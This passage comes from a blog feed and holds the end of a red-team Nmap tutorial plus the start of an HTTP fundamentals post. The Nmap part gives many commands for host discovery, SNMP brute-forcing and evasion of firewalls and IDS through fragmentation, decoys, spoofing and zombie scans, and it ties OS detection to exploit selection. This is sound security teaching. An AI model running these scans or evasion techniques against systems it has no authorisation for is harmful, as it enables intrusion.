</em><em>-n to keep the DNS quiet and </em><em>--exclude so you don&#39;t waste time scanning your own attack machine.&quot;</em></p><h4>1. TCP Discovery: SYN vs. ACK Probing</h4><p>The choice between -PS and -PA depends entirely on whether the target&#39;s firewall is Stateful (remembers connection context) or Stateless (looks at packets in isolation).</p><p><strong>SYN Discovery (</strong><strong>-PS[ports]) — <em>The Door Knocker</em></strong></p><ul><li>The Command: nmap -sn -PS80,443 &lt;target&gt;</li><li>How it works: Sends a SYN packet. If the port is open, the target sends a SYN/ACK. If it’s closed, it sends a RST. Either way, the host is confirmed alive.</li><li>Use Case: Best against Stateless firewalls or routers that don’t track the “state” of a handshake.</li></ul><p><strong>ACK Discovery (</strong><strong>-PA[ports]) — <em>The Confusion Tactic</em></strong></p><ul><li>The Command: nmap -sn -PA80,3389 &lt;target&gt;</li><li>How it works: Sends an ACK packet (pretending it’s part of an existing conversation).</li><li>The Logic: Since there was no prior connection, the target is forced to send a RST packet to kill the “fake” session. That RST proves the host is up.</li><li>Use Case: Best against Stateful firewalls. Many firewalls allow ACK packets through thinking they belong to an established stream.</li></ul><blockquote><em>Red Team Field Note: In your </em><em>sun.com example, the ACK scan failed because the firewall was likely stateful and &quot;smart&quot; enough to drop the out-of-order packet. If </em><em>-PS works but </em><em>-PA fails, you’ve just identified a stateful firewall.</em></blockquote><h4>2. UDP Host Discovery (-PU[ports])</h4><p>UDP is often the “forgotten” protocol in security audits.</p><ul><li>The Strategy: Send a UDP packet to a closed high-number port (e.g., 65000).</li><li>Why it works: If the port is closed, the target sends back an “ICMP Port Unreachable” message. If the port is open, the target might stay silent.</li><li>Best Ports: Use Port 53 (DNS). Firewalls often have “allow” rules for DNS traffic, making it a reliable way to get a probe through to the target.</li></ul><h4>3. ICMP: Thinking Beyond the “Echo”</h4><p>Don’t stop if ping fails. There are three types of ICMP probes:</p><ul><li>-PE (Echo Request): The standard &quot;ping.&quot; Usually blocked by Windows Firewall. nmap -PE &lt;target_ip&gt;</li><li>-PP (Timestamp Request): Requests the system&#39;s clock. nmap -PP &lt;target_ip&gt;</li><li>-PM (Address Mask Request): Requests the subnet mask. nmap -PM &lt;target_ip&gt;</li><li>Red Team Strategy: Use -PE -PP together. Admins frequently block Echo but forget to block Timestamp requests. If you get a clock value back, the host is alive. nmap -sn -PE -PP &lt;target_ip&gt;<br><em>(Note: </em><em>-snonly used for host discovery without performing a port scan)</em></li></ul><h4>4. The “Missing” Discovery Methods (Crucial Additions)</h4><p><strong>ARP Discovery (</strong><strong>-PR): <em>The Local Stealth King </em></strong>sudo nmap -sn -PR &lt;target_network/24&gt;</p><ul><li>If you are on the same subnet as the target, Nmap uses ARP by default. It is impossible to block because the network needs ARP to function. If you’re inside the perimeter, this is your most reliable tool.</li></ul><p><strong>SCTP Discovery (</strong><strong>-PY): <em>The Telecomm Bypass </em></strong>nmap -sn -PY &lt;target_ip&gt;</p><ul><li>SCTP is used in specialized environments (VoIP, Telecom). Many firewalls don’t even have rules for SCTP, allowing your discovery packets to sail right through to the host.</li></ul><p><strong>No DNS Resolution (</strong><strong>-n): <em>OPSEC 101 </em></strong>nmap -sn -n &lt;target_network/24&gt;</p><ul><li>Always use -n in your discovery phase. If you don&#39;t, Nmap will ask the DNS server to resolve every IP. Those DNS logs become a trail that leads straight back to you.</li></ul><h4>5. Top 10 Discovery Ports</h4><p>If you aren’t sure where to “knock,” these are the most likely to be permitted through firewalls:</p><ol><li>80/443 (Web) | 2. 22 (SSH) | 3. 445 (SMB/Windows) | 4. 3389 (RDP) | 5. 25/587 (Mail) | 6. 53 (DNS) | 7. 21 (FTP) | 8. 23 (Telnet) | 9. 161 (SNMP) | 10. 554 (RTSP)</li></ol><p>nmap -sn -PE -PP -PS22,80,443 -PA3389 -PU53 -n &lt;target_range&gt;<br><em>This command tries ICMP Echo, Timestamp, TCP SYN, TCP ACK, and UDP discovery simultaneously, all while staying quiet on DNS logs.</em></p><h3>Evidence-Based Discovery &amp; The Math of Efficiency</h3><p>In large-scale Red Team engagements, you aren’t just scanning one IP; you are often scanning tens of thousands. To do this without getting “lost in the noise” or blocked by rate-limiting, you need to understand the efficiency of your probes.</p><h4>1. Protocol-Level Stealth: The IP Protocol Ping (-PO)</h4><p>When a firewall blocks all TCP and UDP “knocks,” it’s time to move to the Layer 3 protocol level.</p><ul><li>The Command: nmap -sn -PO1,2,4 &lt;target&gt;</li><li>The Logic: This sends raw IP packets with specific headers: 1 (ICMP), 2 (IGMP), and 4 (IP-in-IP).</li><li>The Red Team Play: Most firewalls are configured to look for “connections” (TCP/UDP). By using IGMP (Multicast) or IP-in-IP, you are using traffic types that admins often forget to write “Deny” rules for. It is a “blind spot” discovery method.</li></ul><h4>2. Default vs. Enhanced Discovery (The 33% Gap)</h4><p>Your data proves that Nmap’s default settings are insufficient for a professional audit. Note to reader: <em>“Avoid the temptation to use </em><em>-T4. In a real mission, </em><em>-T2 is your best friend to avoid triggering the building&#39;s alarms (IDS).&quot;</em></p><ul><li>The “Lazy” Scan: nmap -sn -T4 &lt;target&gt;</li><li>Result: ~3,348 hosts found out of 50,000.</li><li>The “Red Team” Scan:<br>nmap -sn -PE -PP -PS21,22,23,25,80,113,31339 -PA80,113,443,10042 --source-port 53 -T4</li><li>Result: ~4,473 hosts found.</li><li>The Lesson: By adding Timestamp requests (-PP), specialized ports (31339), and Source Port Spoofing, you discovered 1,125 extra hosts that were hiding behind firewalls.</li><li>Pro-Tip: The --source-port 53 flag is a classic &quot;Hacker&quot; trick. It makes your scan look like DNS traffic, which many older or poorly configured firewalls allow through by default.</li></ul><h4>3. The Strategy of --top-ports (Time vs. Coverage)</h4><p>You don’t need to scan 65,535 ports to be effective. Nmap has built-in intelligence on which ports are most likely to be open.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*IMjHnjhprygKWLPlvT-hYQ.png" /></figure><h4>4. The UDP Challenge</h4><p>UDP is notoriously slow because it doesn’t have a handshake. If you scan too many UDP ports, your scan will take days.</p><ul><li>Efficiency Hack: Use --top-ports 100 for UDP. It gives you 90% coverage in a fraction of the time. sudo nmap -sU --top-ports 100 &lt;target_ip&gt;</li><li>The “Must-Scan” UDP List: 137 (NetBIOS), 161 (SNMP), 1434 (MS-SQL), 123 (NTP), and 53 (DNS). sudo nmap -sU -p 53,123,137,161,1434 &lt;target_ip&gt;</li><li>Red Team Tip: Always check SNMP (161). If you find a “public” community string, you can often pull the entire network configuration of the device without a password. sudo nmap -sU -p 161 --script snmp-brute --script-args snmp-community=public &lt;target_ip&gt;</li></ul><h4>5. Managing the Data (What you missed)</h4><p>When scanning 50,000 IPs (as in your iR example), your terminal will be unreadable. You need to automate the parsing.</p><ul><li>Grepable Output (-oG): Use this to pipe results into other tools. nmap -sn -n 192.168.1.0/24 -oG discovery.gnmap</li><li><em>Example:</em> grep &quot;Up&quot; results.gnmap | awk &#39;{print $2}&#39; &gt; live_hosts.txt</li><li>XML Output (-oX): Crucial for importing into reporting tools like Dradis or PlexTrac. nmap -sV -iL live_hosts.txt -oX scan_results.xml</li></ul><h4>6. Modernizing the Toolkit</h4><ul><li>Upgrade to Nmap 7.9+: Your notes mention version 4.65. Modern versions include the Nmap Scripting Engine (NSE), which allows you to run auth, vuln, and discovery scripts simultaneously. nmap -sV --script vuln &lt;target_ip&gt;</li><li>nmap -sV --script auth &lt;target_ip&gt;</li><li>The SVN Version: While your notes mention svn co, today most Red Teamers simply pull the latest source from GitHub to get the newest scripts before they are officially released. git clone <a href="https://github.com/">https://github.com</a></li><li>cd nmap &amp;&amp; ./configure &amp;&amp; make &amp;&amp; sudo make install</li></ul><p>Combined ; sudo nmap -sU -p 161 -n — script snmp-info -oG snmp_results.gnmap &lt;target_network/24&gt;</p><h3>Orchestrated Recon</h3><p>When scanning millions of IPs, you can’t use default settings. This command is a masterclass in balancing speed, stealth, and data management.</p><p>The Command:<br>nmap -S [ipadress] -d --max-scan-delay 10 -oA logs/tcp-allports-%T-%D -iL 1M-targets.txt --max-retries 1 --randomize-hosts -p- -PS21,22,23,25,53,80,443 -T4 --minhostgroup 256 --min-rate 175</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*LTlmRsdkJHdYOxIIk_aMig.png" /></figure><h4>Infrastructure Safety (The “Do No Harm” Principle)</h4><p>Red Teaming is about stealth, and crashing a target is the loudest alert possible.</p><ol><li>Protocol Choice: Use SYN Scan (-sS) always. A Connect Scan (-sT) forces the application layer to respond. A SYN scan stays in the kernel space—if a service crashes from a SYN packet, it was already broken. sudo nmap -sS &lt;target_ip&gt;</li><li>The Versioning Trap (-sV): Version scanning sends &quot;garbage&quot; data to ports to see how they respond. Industrial Control Systems (ICS/SCADA) and old printers are notorious for crashing when they receive unexpected data.</li></ol><ul><li><em>Safe Alternative:</em> Use --version-light to send only the most common probes. = nmap -sV — version-light &lt;target_ip&gt;</li></ul><ol><li>Timing as a Shield: Don’t use -T4 on 20-year-old hardware. Use -T2 (Polite) or -T1 (Sneaky).</li></ol><ul><li><em>Pro-Tip:</em> Some legacy Linux boxes use identd to block IPs that scan too fast. Slower timing isn&#39;t just about stealth; it&#39;s about bypass.</li><li>nmap -T2 &lt;target_ip&gt;(Polite: Waits 0.4 seconds between each packet).</li><li>nmap -T1 &lt;target_ip&gt;(Sneaky: Waits 15 minutes between each packet—good for evading IDS).</li></ul><h3>DNS &amp; Target Enumeration</h3><p>You wouldn’t date someone just because they’re breathing, and you shouldn’t attack a box just because it’s “up.” Use DNS to find the interesting targets.</p><ul><li>The List Scan (-sL): This is the &quot;Zero-Touch&quot; probe. It performs a reverse DNS lookup for every IP in a range without sending a single packet to the target. <em>Look for:</em> Names like dev, staging, vpn, or fw-chicago. These disclose the function and location of the asset. nmap -sL 192.168.1.0/24</li><li>The Idle Scan (-sI): (Missing from your notes) The ultimate stealth move. You use a &quot;Zombie&quot; host on the network to scan the target for you. Your IP never touches the victim. nmap -Pn -sI &lt;zombie_ip&gt; &lt;target_ip&gt;</li><li>Zone Transfers: Before scanning, try a zone transfer (dig AXFR). If the DNS server is misconfigured, it will hand you a map of every single internal server name and IP. dig AXFR @dns-server.com company.com</li></ul><h4>Host Discovery (Beyond the Ping)</h4><p>Host discovery is the art of reducing 16 million IPs (a /8) into 1,000 targets.</p><ul><li>SCTP Discovery (-PY): (Missing from your notes) Many modern firewalls filter TCP and UDP but ignore SCTP (used in telecom). It’s a &quot;secret tunnel&quot; for discovery. nmap -sn -PY &lt;target_ip&gt;</li><li>The Reason Flag (--reason): Always add this. It tells you <em>why</em> Nmap thinks a host is up. Did it get a syn-ack? Or an icmp-unreachable? Knowing the &quot;why&quot; helps you find firewall holes. nmap -sn --reason &lt;target_ip&gt;</li><li>Packet Tracing (--packet-trace): Use this instead of Wireshark to see the raw hex of what Nmap is sending. It&#39;s essential for verifying if your Source Port Spoofing (--source-port 53) is actually working. nmap -sn --packet-trace --source-port 53 &lt;target_ip&gt;</li></ul><p>The “Perfect” Red Team Workflow (The Missing Outline)</p><ol><li>OSINT: whois and dns to find netblocks.</li><li>Discovery: -sn -PS80,443 -PA80,443 -PE -PP (Multiple probes to bypass firewalls). nmap -sn -PS80,443 -PA80,443 -PE -PP -n -oG discovery_results.gnmap &lt;network_range&gt;</li><li>Analysis: --reason to determine what kind of firewall is in the way.</li><li>Enumeration: -sL to find high-value names (e.g., db-server). nmap -sL -iL live_hosts.txt --reason</li><li>Targeted Scan: -sS -p- on only the &quot;Live&quot; and &quot;Interesting&quot; hosts sudo nmap -sS -p- -Pn --version-light -iL interesting_targets.txt -oA logs/final_recon</li></ol><h4>Nmap’s Internal “Brain”: The Algorithms</h4><p>This is what you missed in the raw notes — how Nmap manages the “Chaos” of the network.</p><ul><li>Congestion Control &amp; Parallelism: Nmap doesn’t just blast packets. It uses Dynamic Timing to sense if the network is getting “clogged.” If packets start dropping, Nmap automatically slows down (Adaptive Retransmission) to ensure accuracy.</li><li>Round Trip Time (RTT) Estimation: Nmap constantly calculates how long it takes for a packet to return. It uses this “heartbeat” to decide when to give up on a port and move on.</li><li>Host/Port Parallelization: Nmap scans multiple hosts and multiple ports at the same exact time. You can control this with --min-parallelism to force Nmap to be more aggressive.</li><li>The FTP Bounce Scan (-b): A &quot;relic&quot; scan that uses an old flaw in FTP servers to bounce a scan off them. While rare today, it is still the &quot;grandfather&quot; of proxy-based scanning.</li></ul><h4>Customizing the Attack (--scanflags)</h4><p>If you know exactly what a specific firewall is looking for, you can build your own packet.</p><ul><li><em>Example:</em> nmap --scanflags SYNFIN &lt;target&gt;</li><li>Use Case: Some IDS systems look for a SYN, and others look for a FIN. Combining them can create a “Frankenstein” packet that slips past both.</li></ul><h3>Remote OS Detection (The Secret to Finding the Right Exploit)</h3><p>In Red Teaming, OS detection is the “Prerequisite for Payload Selection.” If you send a Windows exploit to a Linux kernel, you don’t just fail — you likely crash the service and trigger an alarm.</p><ul><li>Note to reader: <em>“Be careful with </em><em>-sV. If you&#39;re scanning an old server, use </em><em>--version-light first. You don&#39;t want to be the guy who accidentally crashes the client&#39;s database in the middle of a work day.&quot;</em></li></ul><h4>1. Beyond the Label: Why OS Detection is Mission-Critical</h4><ul><li>Tailoring Exploits: You need the exact kernel version. For example, knowing a target is “Linux” isn’t enough; you need to know if it’s a version vulnerable to DirtyPipe (CVE-2022–0847) or PwnKit.</li><li>Social Engineering Pretexts: If you discover the target uses macOS, your phishing campaign should deliver a .dmg or .pkg, not an .exe.</li><li>Detecting “Shadow IT”: Finding an unauthorized Windows 7 box in a sea of Windows 11 machines identifies a weak point that likely hasn’t been patched in years.</li></ul><h4>2. How Nmap Analyzes the “DNA” (TCP/IP Stack Fingerprinting)</h4><p>Nmap doesn’t just “ask” the OS its name; it probes the implementation quirks of the TCP/IP stack. Every OS “speaks” TCP/IP with a unique accent.</p><ul><li>TCP Sequence Generation (SEQ/ISN): Nmap analyzes how the OS increments Initial Sequence Numbers. This is a massive tell; Windows, Linux, and FreeBSD all use different mathematical patterns.</li><li>The “Quirks” Test (T2–T7): Nmap sends “illegal” packets (e.g., a packet with no flags or a packet with FIN/PUSH/URG set).</li><li>The Logic: An RFC-compliant OS might ignore it, while a buggy or legacy OS might send a RST. These “wrong” answers are exactly what Nmap uses to build a fingerprint.</li><li>IP ID Sequence (TI, CI, II): Nmap looks at the Identification field in the IP header. Some OSes use a global counter; others use incremental or random values.</li><li>TCP Options (O1–O6): Different OSes support different TCP options (like Window Scaling or SACK) in specific orders. The order of these options is a primary fingerprinting hook.</li></ul><h4>3. Operational Commands &amp; Strategic Tuning</h4><ul><li>Standard Detection: nmap -O &lt;target&gt;</li><li>Aggressive Guessing: sudo nmap -O --osscan-guess &lt;target_ip&gt;</li></ul><p><em>Red Team Note:</em> Use this when Nmap returns “No exact matches.” It will show you a percentage (e.g., 90% likely Linux 5.4).</p><ul><li>Stealth Tuning: nmap -O --max-os-tries 1 ( target ip )</li></ul><p><em>The “Why”:</em> By default, Nmap retries if the results are inconsistent. On a Red Team op, multiple OS probes can look suspicious to an IDS. Setting this to 1 prioritizes speed and stealth over absolute certainty.</p><ul><li><strong>Using Packet Trace to view TCP Options</strong>: This command will show you how Nmap uses <em>Window Scaling</em> or <em>SACK</em> to differentiate the OS.</li><li>sudo nmap -O --packet-trace &lt;target_ip&gt;</li><li>sudo nmap -O -p 445 --script smb-os-discovery &lt;network_range&gt;</li></ul><h3>4. The “Missing” Intelligence</h3><ul><li><strong>CPE (Common Platform Enumeration): </strong>Nmap outputs a “CPE string” (e.g., cpe:/o:linux:linux_kernel:5). CPE is the universal language of vulnerability databases. You can copy-paste a CPE string directly into CVE Details or NIST to find active exploits.</li></ul><p>Getting the CPE String: When you use -sVor -O, Nmap automatically generates the CPE.</p><p>sudo nmap -sV -O --osscan-guess &lt;target_ip&gt;Red Team Strategy: Copy the string like cpe:/a:apache:http_server:2.4.41and paste it into <a href="https://www.cvedetails.com/">CVE Details</a> to get instant exploits.</p><ul><li><strong>IPv6 Fingerprinting: </strong>This works differently! Since IPv6 doesn’t use the same fragmentation or header logic, Nmap uses specialized ICMPv6 neighbor discovery and Node Information Queries to guess the OS. Because IPv6 does not have the same methods as IPv4, Nmap uses the ICMPv6 and Neighbor Discovery protocols .</li></ul><p>To detect the OS via IPv6: You must use the -6.</p><p>sudo nmap -6 -O &lt;target_ipv6_address&gt;Finding IPv6 Machines on Local Link: Before OS detection, you need to get a live IP.nmap -6 --script targets-ipv6-multicast-echo --script-args &#39;newtargets&#39; --packet-trace</p><ul><li><strong>When Nmap Fails (The Fingerprint Printout):</strong> If Nmap can’t find a match, it prints a massive block of “gibberish” text.</li></ul><p>To get full fingerprint ; sudo nmap -O --osscan-guess &lt;target_ip&gt;</p><p>Pro Tip: This is a Subject Fingerprint. You can submit this to Nmap’s official database or use it to manually compare against known signatures. It often happens with niche IoT devices or industrial hardware (ICS/SCADA).</p><h3>Subverting the Perimeter (Firewall &amp; IDS Evasion)</h3><p>In a professional engagement, the “Front Door” is usually locked. To get in, you have to understand the physics of the firewall and the logic of the IDS. Here is how we map, bypass, and disappear.</p><h4>1. Firewall Rules Discovery</h4><p>Before you can bypass a wall, you have to see its shape. We use “Diagnostic” scans to find the holes.</p><ul><li><strong>TCP ACK Scan (</strong><strong>-sA)</strong>: This is the most important flag for firewall recon. It doesn&#39;t find open ports; it identifies Stateful vs. Stateless rules. sudo nmap -sA -n -Pn &lt;target_ip&gt; sudo nmap -sS -p 80 --badsum &lt;target_ip&gt;</li></ul><p><strong>Filtered: </strong>The firewall dropped the packet (the “wall” isworking).<strong>Unfiltered:</strong> The packet reached the target. This indicates a misconfigured rule or a “hole” you can use for your actual attack.</p><ul><li><strong>The Checksum Trap (</strong><strong>--badsum)</strong>: sudo nmap -sS -p 80 --badsum &lt;target_ip&gt;</li></ul><p>The Trick: Send a packet with an intentionally corrupted checksum.</p><p>The Logic: A real computer will drop this packet immediately. A “dumb” firewall/IPS will often inspect it and reply.</p><p>The Win: If you get a reply to a --badsum packet, you aren&#39;t talking to a server; you are talking to a security appliance.</p><h4>2. Tactical Bypass: “Illegal” Packet Crafting</h4><p>Once you know the rules, you break them using Nmap’s packet-crafting engine.</p><ul><li><strong>Source Port Spoofing (</strong><strong>-g 53 or </strong><strong>-g 88): </strong>sudo nmap -sS -Pn -g 53 -p 22,80,445 &lt;target_ip&gt;</li></ul><p>Many firewalls blindly trust traffic from Port 53 (DNS) or Port 88 (Kerberos) because they assume it’s “infrastructure” traffic. Using -g makes your attack look like a routine DNS reply.</p><ul><li><strong>Fragmentation (</strong><strong>-f or </strong><strong>--mtu 8): </strong>sudo nmap -sS -f --mtu 8 &lt;target_ip&gt;</li></ul><p>By splitting the TCP header into tiny 8-byte chunks, you prevent simple IDS sensors from seeing the “signature” of a port scan. The sensor sees “fragments” and doesn’t know how to reassemble them in real-time.</p><ul><li><strong>Data Length Manipulation (</strong><strong>--data-length &lt;byte_size&gt;):</strong>sudo nmap -sS --data-length 25 &lt;target_ip&gt;</li></ul><p>Nmap’s default probes are “empty,” which is a massive red flag for defenders. Adding 20–50 bytes of random data makes your packets look like actual (albeit messy) application traffic.</p><p>This is a command that combines all three techniques: Spoofing , Fragmentation , and Data Padding for high-level confidentiality:</p><p>sudo nmap -sS -Pn -n -g 53 -f --data-length 32 --max-rate 10 &lt;target_ip&gt;</p><h4>3. Defeating the IDS: Pattern Breaking</h4><p>The IDS is looking for “scouts.” You avoid this by breaking the mathematical patterns of your scan.</p><ul><li><strong>Paranoid Timing</strong> (-T0 or -T1): nmap -sS -T0 &lt;target_ip&gt;IDS systems use thresholds (e.g., “Alert if 5 ports are hit in 1 second”). By using -T0, you wait 5 minutes between each packet. It is the ultimate &quot;low and slow&quot; approach.</li><li><strong>Decoy Scanning </strong>(-D RND:10): nmap -sS -D RND:10 &lt;target_ip&gt;You flood the logs with 10 fake attackers alongside your real IP. This creates “Alert Fatigue” for the security analyst — they see 11 IPs attacking and don’t know which one to block.</li><li><strong>MAC Address Spoofing</strong> (--spoof-mac):sudo nmap -sS --spoof-mac Apple &lt;target_ip&gt;(Uses Apple MAC) or use the full address:sudo nmap --spoof-mac 00:11:22:33:44:55 &lt;target_ip&gt;Essential for internal Red Teaming. If the network uses NAC (Network Access Control), you can spoof the MAC of a known “trusted” device like a VoIP phone or a printer to gain access to the VLAN.</li></ul><h4>4. Identifying the “Invisible”</h4><ul><li><strong>Detecting “Fake” Resets: </strong>sudo nmap -sS --packet-trace &lt;target_ip&gt; Some firewalls (like Cisco PIX) inject fake RST packets to kill your scan.<em>Pro-Tip:</em> Look at the TTL (Time to Live) in Wireshark. If the TTL of the RST packet is different from the rest of the traffic, a firewall is lying to you.</li><li><strong>TTL Manipulation</strong> (--ttl): nmap -sS --ttl 64 &lt;target_ip&gt;Set your TTL to match the internal hops of the network. This makes your packets appear to be coming from an internal segment rather than an external attacker.</li><li><strong>Zombie Scanning </strong>(-sI):sudo nmap -Pn -sI &lt;zombie_ip&gt; &lt;target_ip&gt; Use an “Idle” device (like a printer or an old IoT camera) as a proxy. Your IP never touches the target; the target’s logs only show the printer scanning them.</li></ul><p>The One-Liner:</p><p>sudo nmap -sS -Pn -f -g 53 --data-length 25 -T2 -D RND:5 &lt;target&gt;</p><ul><li>What it does: Stealth SYN scan (-sS), skips pings (-Pn), fragments packets (-f), spoofs DNS source port (-g 53), adds noise ( — data-length), moves slowly (-T2), and uses 5 random decoys (-D RND:5).</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dd9a22157a32" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTTP Part 1: Foundations, URLs, and Messages]]></title>
            <link>https://medium.com/@mug1sh4/http-part-1-foundations-urls-and-messages-fd041da97129?source=rss-9cedfec9ebc7------2</link>
            <guid isPermaLink="false">https://medium.com/p/fd041da97129</guid>
            <category><![CDATA[https]]></category>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[network-protocols]]></category>
            <dc:creator><![CDATA[mug1sh4]]></dc:creator>
            <pubDate>Wed, 22 Apr 2026 15:03:49 GMT</pubDate>
            <atom:updated>2026-04-22T20:17:20.053Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/150/1*8iHBFoptLM0KvC5BQn3r4w.jpeg" /></figure><p><strong>HyperText Transfer Protocol (HTTP)</strong> is the backbone of the World Wide Web. It is a request-response protocol that allows your browser to fetch HTML, CSS, images, and data from a remote server.</p><h3>1. The Uniform Resource Locator (URL)</h3><p>A URL is more than just a web address; it is a specific set of instructions telling your browser <strong>how</strong> to get somewhere and <strong>what</strong> to do when it arrives.</p><ul><li>The basic syntax of the URL is:<br><strong>protocol://hostname[:port]/ [/path/] file [?param=value]</strong></li><li>The port number is optional and only necessary if the port is different from the default port used by the protocol specified in the first field (http=80, https=443, ftp=21, etc.).</li></ul><h3>Components of a URL:</h3><ul><li><strong>Scheme:</strong> The protocol used (HTTP, HTTPS, FTP).</li><li><strong>User:Password:</strong> Authentication details (e.g., admin:password123@). <em>Note: This is largely deprecated for security reasons.</em></li><li><strong>Host:</strong> The domain name or IP address.</li><li><strong>Port:</strong> The technical “gate” (Default: 80 for HTTP, 443 for HTTPS).</li><li><strong>Path:</strong> The specific file or directory on the server (e.g., /blog/index.html).</li><li><strong>Query String:</strong> Parameters sent to the server (e.g., ?id=10&amp;page=2).</li><li><strong>Fragment:</strong> A “bookmark” to a specific section of a page (e.g., #comments).</li></ul><h3>2. Anatomy of HTTP Messages</h3><p>Every HTTP message (whether a request or a response) follows a strict three-part structure:</p><ol><li><strong>The Start Line:</strong> (Method/URL/Version for requests; Version/Status for responses).</li><li><strong>Headers:</strong> Key-value pairs providing metadata.</li><li><strong>A Blank Line:</strong> Signals the end of the headers.</li><li><strong>Message Body (Optional):</strong> The actual data being sent (like a form submission or the HTML of a page).</li></ol><h3>3. HTTP Methods (Verbs)</h3><p>Methods tell the server what action to perform on a resource.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/991/1*d9JFzXrPIYAxsLVaKG4QAQ.png" /></figure><h3>4. HTTP Headers: The Metadata</h3><p>Headers allow the client and server to pass additional information.</p><h3>Common Request Headers (Client -&gt; Server)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/1*jsokAGJ8_yGdCQCk5VXDGQ.jpeg" /></figure><p>The first line of the HTTP requests has three elements, separated by spaces :</p><p>1. A verb (action word) indicating the HTTP method (see methods below). Among these, the most common is GET. The GET method retrieves a resource from the web server</p><p>2. The requested URL</p><p>3. The HTTP version used</p><ul><li><strong>Host:</strong> The domain name of the server (Required in HTTP/1.1).</li><li><strong>User-Agent:</strong> Identifies the browser/OS (Can be spoofed to bypass mobile-only blocks).</li><li><strong>Referer:</strong> The URL of the previous page that linked to this one.</li><li><strong>Cookie:</strong> Sends stored session data back to the server.</li><li><strong>Authorization:</strong> Used for passing credentials (like Basic Base64 strings).</li></ul><h3>Common Response Headers (Server -&gt; Client)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*rHxQtL58LA_nTgNzEisUTw.jpeg" /></figure><p>The typical HTTP response consists of three items;</p><p>1. The HTTP version</p><p>2. The numeric status code</p><p>3. The text describing the status response.</p><ul><li><strong>Server:</strong> Identifies the web server software (e.g., Apache/2.4.41). <em>Helpful for vulnerability research.</em></li><li><strong>Set-Cookie:</strong> Tells the browser to store a piece of data (session ID).</li><li><strong>Location:</strong> Used for redirects (tells the browser where to go next).</li><li><strong>Content-Type:</strong> Tells the browser if it’s looking at HTML, a JPEG, or JSON.</li></ul><h3>5. Status Codes: The Server’s Answer</h3><p>The first digit of the status code tells you the “category” of the result:</p><ul><li><strong>1xx (Informational):</strong> Request received, continuing process.</li><li><strong>2xx (Success):</strong> The action was successfully received and accepted (e.g., <strong>200 OK</strong>).</li><li><strong>3xx (Redirection):</strong> Further action needed to complete the request (e.g., <strong>301 Moved Permanently</strong>).</li><li><strong>4xx (Client Error):</strong> The request contains bad syntax or cannot be fulfilled (e.g., <strong>403 Forbidden</strong>, <strong>404 Not Found</strong>).</li><li><strong>5xx (Server Error):</strong> The server failed to fulfill an apparently valid request (e.g., <strong>500 Internal Server Error</strong>).</li><li>* 100 — Continue<br>* 200 — OK<br>* 201 — Created<br>* 301 — Moved Permanently<br>* 302 — Found<br>* 304 — Not Modified<br>* 400 — Bad Request<br>* 401 — Unauthorized<br>* 403 — Forbidden<br>* 404 — Not Found<br>* 405 — Method Not Allowed<br>* 413 — Request Entity Too Large<br>* 414 — Request URI Too Long<br>* 500 — Internal Server Error<br>* 503 — Service Unavailable</li></ul><h3>6. Authentication and Proxies</h3><ul><li><strong>HTTPS:</strong> Uses <strong>SSL/TLS</strong> to encrypt the TCP connection. This prevents “Man-in-the-Middle” (MitM) attacks from reading your traffic.</li><li><strong>Proxies:</strong> Servers that sit between you and the web. They can be used for caching, filtering, or (in a hacking context) intercepting and modifying traffic (e.g., Burp Suite).</li><li><strong>Auth Mechanisms:</strong> * <strong>Basic:</strong> Credentials encoded in Base64 (easily decoded).</li><li><strong>Digest:</strong> More secure, uses MD5 hashing.</li><li><strong>NTLM:</strong> Used in Windows/Active Directory environments.</li></ul><h3>Red Team Reminders &amp; “Easter Cookies”</h3><ul><li><strong>The User-Agent Lie:</strong> Many bots and scanners change their User-Agent to look like “GoogleBot” to avoid being blocked by simple security filters.</li><li><strong>The Power of 403 vs 404:</strong> If a server returns a 403 Forbidden, it means the file <strong>exists</strong>, but you aren&#39;t allowed to see it. If it returns 404 Not Found, it might truly be gone, or the server is lying to hide its existence.</li><li><strong>Information Leakage:</strong> Always check the Server and X-Powered-By headers in responses. They often reveal specific versions of software (like PHP/7.4) that have known public exploits.</li></ul><h3>3. The Status Code Cheat Sheet</h3><p>Status codes are the server’s way of giving you a “status report” at a glance.</p><h3>5. Cookies: The Memory of the Web</h3><p>HTTP is <strong>stateless</strong>, meaning the server forgets who you are the second it sends a response. Cookies solve this.</p><ol><li><strong>Server sends:</strong> Set-Cookie: session_id=abc123xyz</li><li><strong>Browser stores:</strong> The cookie is saved locally.</li><li><strong>Browser sends:</strong> On every future request, the browser automatically includes Cookie: session_id=abc123xyz.</li></ol><blockquote><strong><em>Red Team Reminder:</em></strong><em> Cookie values are often Base64 encoded or JSON Web Tokens (JWT). In your </em><strong><em>DEEPTRUST</em></strong><em> project, you might encounter cookies used to maintain “trust” sessions. If an attacker steals a session cookie, they can “become” the user without needing a password.</em></blockquote><h3>6. Practical Request Construction</h3><p>Understanding how to “manually” write a request is vital for using tools like Burp Suite or curl.</p><p><strong>A POST login request looks like this:</strong></p><p>HTTP</p><pre>POST /login HTTP/1.1<br>Host: tryhackme.com<br>User-Agent: Mozilla/5.0 Firefox/87.0<br>Content-Length: 29<br>Content-Type: application/x-www-form-urlencoded</pre><pre>username=thm&amp;password=letmein</pre><p><em>Note: The </em><em>Content-Length must match the exact number of characters in the body (</em><em>username=thm&amp;password=letmein is 29 characters).</em></p><h3>Simple Resource Retrieval (GET)</h3><p>The most basic request. We are asking the server to “give” us a specific page. Note that even though there is no data in the body, we still include the standard headers.</p><p><strong>Target:</strong> <a href="http://tryhackme.com/room">http://tryhackme.com/room</a></p><p>HTTP</p><pre>GET /room HTTP/1.1<br>Host: tryhackme.com<br>User-Agent: Mozilla/5.0 Firefox/87.0<br>Content-Length: 0</pre><h3>Querying Specific Data (GET with Parameters)</h3><p>When you want a specific item (like a specific blog post), you use a <strong>Query String</strong>. This is appended to the URL after a ?.</p><p><strong>Target:</strong> <a href="http://tryhackme.com/blog/?id=1">http://tryhackme.com/blog/?id=1</a></p><p>HTTP</p><pre>GET 